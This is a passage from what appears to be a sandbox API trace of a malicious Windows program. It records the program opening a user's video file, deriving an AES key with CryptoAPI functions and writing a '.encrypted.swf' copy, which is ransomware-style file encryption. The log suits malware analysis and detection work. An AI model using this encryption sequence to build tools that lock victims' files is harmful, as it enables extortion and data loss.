lpMsg=0xe8f3dfee70) returned 0 [0029.573] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.574] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.574] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.574] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.swf", cchWideChar=114, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 114 [0029.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.swf", cchWideChar=114, lpMultiByteStr=0xe8f4066070, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.swf", lpUsedDefaultChar=0x0) returned 114 [0029.574] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\4hsq9w1vnqo8ex.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=114, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 114 [0029.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=114, lpWideCharStr=0xe8f40632e0, cchWideChar=114 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.swf") returned 114 [0029.575] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.575] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.576] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.576] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178400, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.576] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.576] CloseHandle (hObject=0x1fc) returned 1 [0029.576] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.577] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.577] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.577] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.577] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.577] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.578] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.578] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.579] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.579] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.579] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.579] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.579] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.579] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.579] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.580] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.580] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.580] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.580] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.580] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b900, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.580] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.580] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.580] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0029.580] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.581] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.581] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.581] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.581] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.581] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.581] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.581] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.581] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.581] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.582] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.582] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.582] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.582] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.582] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\4hsq9w1vnqo8ex.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.583] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.583] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.583] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.583] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.583] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.583] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii")) returned 0x10 [0029.584] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\4Hsq9w1vnQo8EX.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\4hsq9w1vnqo8ex.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.584] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, 